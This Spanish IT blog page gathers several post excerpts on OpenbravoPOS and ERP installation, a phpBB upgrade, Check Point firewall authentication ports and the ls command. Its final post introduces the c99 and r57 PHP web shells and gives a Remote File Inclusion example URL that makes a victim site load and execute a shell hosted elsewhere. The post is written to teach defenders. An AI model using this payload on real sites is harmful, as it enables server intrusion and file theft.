Telepieza´s Weblog

El programa de software libre OpenbravoPOS , es un paquete informático en entorno Escritorio realizado en JAVA para ordenadores o máquinas Punto de Ventas (TPV o POS). El programa está enfocado para Establecimientos Comerciales como Tiendas o Restaurantes y se puede sincronizar con el programa ERP de Openbravo de la misma marca .

…………………………………………………………

Un TPV es el acrónimo de Terminal punto de venta (en inglés “POS terminal” o “Point of sale terminal“). Hace referencia al dispositivo y tecnologías que ayudan en la tareas de gestión de un establecimiento comercial de venta al público.

Para más información ir a : Wiki Dispositivos TPV o POS.

Cuando descargas el programa openbravoPOS versión 2.0 y su lenguaje en (Español), para poderlos instalar y arrancar tenemos que ver si tenemos instalado en nuestro ordenador el JAVA, en los sistemas Windows es Inicio –> Configuración –> Panel de Control, tenéis que ver un icono en forma de taza de cáfe (Ver imagen a la izquierda). Si no tienes instalado el Java ir a Sun’s website para su descarga.

La instalación en Ubuntu es (va en función a la versión del Java):

sudo apt-get install sun-java6-jre sun-java6-fonts

Una vez instalado el programa tenemos que descomprimir el paquete de idiomas openbravopos_2.20_es.zip, dentro de la carpeta raiz de openbravopos, pasará las traducciones al español a las subcarpetas locales y reports.

Una vez instalado todo los programas (Java, Openbravopos y traducción), en windows nos creará un menú para arrancar el programa, pero si queréis arrancarlo de forma manual, en la carpeta de openbravopos está el programa start.bat para Windows y start.sh para Linux, si lo picamos dos veces arranca el programa.

Una vez arrancado por primera vez nos pide el tipo de base de datos a crear las tablas, pueden ser  :

• Oracle 10g release 2 (Express, Standard and Enterprise editions)
• PostgreSQL 8.1.4 o Anterior
• MySQL 5.0 o Anterior
• HSQLDB 1.8.0 o Anterior

Para las Bases de Datos Oracle, PostgreSQL y MySQL, se necesita el motor o servicios de cada una de las bases de datos, pero con HSQLDB no es necesario, el propio OpenbravoPOS tiene los programas .jar por ser una Base de Datos realizada en JAVA.

NOTA de ESPINAS :He realizado pruebas con la Base de Datos MySQL y el Script para crear las tablas no está muy fino por dar algunos errores internos y alguna tabla no es creada por dicho motivo.

Es importante elegir bien la Base de Datos a grabar nuestros registros, para después incorporar de forma masiva nuestras artículos sin teclear nada en los TPV.

Una vez instalado el producto, tenemos que saber cómo funciona y para eso tenemos la guia del :

  

wiki en openbravoPOS en Español  , que nos indica su funcionamiento a nivel usuario.

Una vez comprendido el funcionamiento del Programa, la siguiente fase es configurar el programa para nuestros dispositivos (Balanzas, Tickect, Lector de Códigos de Barra y el Visor para el Cliente) y adaptar las imágenes y textos a nuestras necesidades de empresa.

No todos los dispositivos funcionan en OpenbravoPOS, por ejemplo las impresoras conectadas por USB no le gusta nada, por ese motivo tenemos que ir a su wiki para instalar los componentesque nos indican ellos por estar probado y funcionando sin problemas, pero aún así podemos hacer pruebas cambiando una serie de parámetros en los programas que acceden al dispositivo.

Los recomendados por Openbravo a nivel de dispositivos son :

• Touch screen         : ELO 1515 LCD Desktop Touchmonitor.
• Barcode scanner  : Metrologic Voyager 9520.
• Ticket printers      : Epson TM T88IV with serial interface.
• Customer display: Cash Epson DM D110/D210 with serial interface.

Para leer y saber más ir a http://wiki.openbravo.com/wiki/OpenbravoPOS_FAQ  y comprenderás el porqué de dichos dispositivos para tu TPV.

Un Saludo de Espinas.

Hace muy pocos meses que salio la versión 3.0.2 del popular foro phpbb y ya tenemos una nueva versión la 3.0.3 con arreglos de un montón de bug de la versión 3.0.2.

El cambio de versión de la 3.0.2 a 3.0.3 es muy rápido, en unos 15 minutos, pero para ello tenemos que escoger los programas adecuados para realizar el cambio sin ningún problema.

Para ayudarme a explicar el cómo se realiza el cambio de versiones en el foro phpbb3, me apoyare en imágenes capturadas del ordenador y las pondré en forma de miniaturas. En total son 12 imágenes que vosotros tenéis que picar encima de ellas para poder ver su contenido. Esto se realiza para poder minimizar al máximo el post y ser a la vez más ameno para todos vosotros.

Para saber si tenemos que cambiar , entramos al foro con nuestro perfil de administrador y nos vamos al panel de Administrador , picamos la pestaña de SISTEMA.

Si el programa detecta cambio de versión, nos informará con un mensaje con fondo rojo, indicando la version que tenemos y la última versión que existe del producto a nivel de distribución.

Para descargar el phpbb3 picar encima de :


Página de Descarga de PhPBB

En esa misma pantalla veremos el link (ver línea de arriba), y nos lleva a la zona de descarga del producto phpbb3. Una vez alli, tenemos que picar el enlace que está a la derecha (Mirar la imagen con una flecha). Pone “downlad current phpbb3 release“.

Lee el resto de esta entrada »

INSTALACIÓN Y ANÁLISIS DE ERRORES DE LA INSTALACIÓN DEL ERP

La Nueva versión 2.40 del ERP Openbravo salio el mes Octubre 2008  Openbravo es la 2.40. Openbravo es para las pequeñas y medianas empresas (no más de 50 trabajadores), de código abierto (Open Source) y sin coste de licencia, basado en web y con los módulos maestros, compras, almacén, producción, ventas y financiera, así como niveles básicos de CRM y Business Intelligence.

El ERP es multi-moneda, multi-compañía, multi-delegación, multi-almacén y multi-contabilidad, y puede accederse mediante interfaz web desde varios sitios concurrentes o incluso en movilidad.

Sistema Operativos: Windows Vista, XP, 2000 o 2003 Server, Linux en las distribuciones de Red Hat, CentOS, Debian, Ubintu y Feroda,  AIX y Solaris.

El software adicional mínimo para poder instalar dicho producto son :

• Java JDK versión 1.5 o 1.6
• Apache-Tomcat 5.5 (la Versión 6.0 o superior NO)
• Apache-ant 1.6 o 1.7

En Base de Datos puede ser Oracle o PostgreSql:

• 1. Oracle 10g Relis 2
• 2. PostgreSQL Database Relis 8.1 , 8.2 y 8.3

En Navegadores el Firefox o el IE 7.0
Si eres experto puedes instalar los siguientes programas no relacionados en la guía y son :

• Apache Server HTTP ——————– (Sólo si eres experto o técnico)
• Conector HTTP y Tomcat AJPv13 —- (Sólo si eres experto o técnico)

Con el Apache y el Conector no hace falta colocar a nivel de usuario el puerto 8080 del tomcat en la dirección URL, va todo por el puerto 80 del Apache.

• Sin Conector para ir al ERP es : http://localhost:8080/openbravo
• Con Conector para ir al ERP es : http://localhost/openbravo

Una vez instalados los dos productos (Apache y Conector), necesitamos configurar el Apache y el Tomcat para enlazar el conector y eso es para los técnicos de informática y no para usuarios avanzados.

Lee el resto de esta entrada »

Escribo esté post,  porque tengo una memoria de pez (3 Segundos), y  muchas veces no me acuerdo de los dichosos puertos por defecto,  para poder conectar desde el exterior a una máquina en red,  que tiene enfrente a un firewall Check Point (Internet Security Solutions).

Existen diferentes formas de conectar a un firewall Check Point , una de ellas es por VPN y otra por Cliente autentificado.

El que me interesa es el de Cliente autentificado y los puertos son :

• A nivel de DOS, vía telnet el puerto es el 259. Un ejemplo para activar en Windows es :  telnet 193.142.120.130 259
• A nivel de HTTP, vía Explorer el puerto es el 900. Un Ejemplo es : http://193.142.120.130:900

Cuando tocamos dichos puertos al Firewall nos abre una ventana de color verde (Muy fea), que nos pide Usuario y contraseña.Una vez autentificado nos abre una puerta (IP), vía NAT para poder llegar a una máquina en concreto según la configuración de las reglas del firewall Check Point.

Un Saludo de Telepieza.

Uno de los comando más utilizados en los sistemas Unix, Linux y Aix es el ls, (List), proporciona una lista de todos los archivos en un directorio de un sistema. El comando visualiza una lista en varias columnas y va en función de sus flags asociados al comando. Una de las características más importantes de dichos sistemas operativos es la inclusión de los flags (opciones) en los comandos . En lugar de crear muchos comandos para realizar cada tarea, un comando puede tener múltiples operaciones según sus opciones o flags.

El comando ls sin ningún flags, visualiza una lista de ficheros y directorios, pero deja sin visualizar los ficheros con un punto al principio, dichos ficheros son los llamados ocultos. Los ficheros ocultos pueden tener uno, dos o tres puntos, y si tienen más de un punto tener cuidado, eso no es normal en un servidor.

Los flags más importantes de un total de más de 21 son:

# ls -F (Una lista donde los nombres se marcan con símbolos, que inician su clase)

Programas ejecutables con *

Directorios /

Vínculos simbólicos @

.

Uno de los flags más importantes en el comando ls es el -l nos enseña las clases del fichero, las autorizaciones y sus propietarios.

Lee el resto de esta entrada »

Muchas veces el desconocimiento de los informáticos sobre las herramientas utilizadas de  los hacker para entrar en nuestros ordenadores, nos hacen más vulnerables, aquí tenemos el logo del popular programa realizado en phpshell llamado r57shell.php o r57.txt o r57.php

Para solucionar dicha laguna iré explicando una serie de programas cogidos en un ordenador hackeado y a la vez con sus herramientas dejadas en el sistema por cerrar el firewall una vez dentro del servidor linux.

Son muchos los programas a exponer, pero vamos a empezar por dos programas PHPSHELL muy extendidos y son utilizados muy habitualmente por ellos (c99.txt o c99.php y el r57.txt o r57.php). La imagen corresponde al logo del c99.php.

Voy a ejecutar los programas en entorno Windows, pero lo suyo es en Linux, están más pensados en buscar y llevarse la información de vulnerabilidades de servidores con php , por ser dichos programas realizados en lenguaje PHP.

Dichos programas están catalogados en la técnica RFI (Remote File Inclusion) en español (Inclusión de Archivo remoto), se aprovecha de una vulnerabilidad en la programación de páginas web y que tengan instalado el modulo PHP, podemos insertar archivos añadiendo parámetros por la url del navegador. Si la instalación del php.ini está mal configurado, podemos hacer ejecutar nuestros archivos (c99.txt o r57.txt) en el servidor de la website o víctima.

Con un ejemplo se verá más claro:

http://www.victima.com/index.php?page=http://www.tuweb.com/c99.txt en dicho ejemplo renombramos  después a c99.php y ejecutar o http://www.victima.com/index.php?page=http://www.tuweb.com/c99.php? y ejecutas de forma automática.

Al insertar y ejecutar el programa desde nuestro servidor, ellos nos pueden ver todos nuestras carpetas de nuestra página web y analizar los tipos de ficheros y sus autorizaciones de lectura y escritura.

Lee el resto de esta entrada »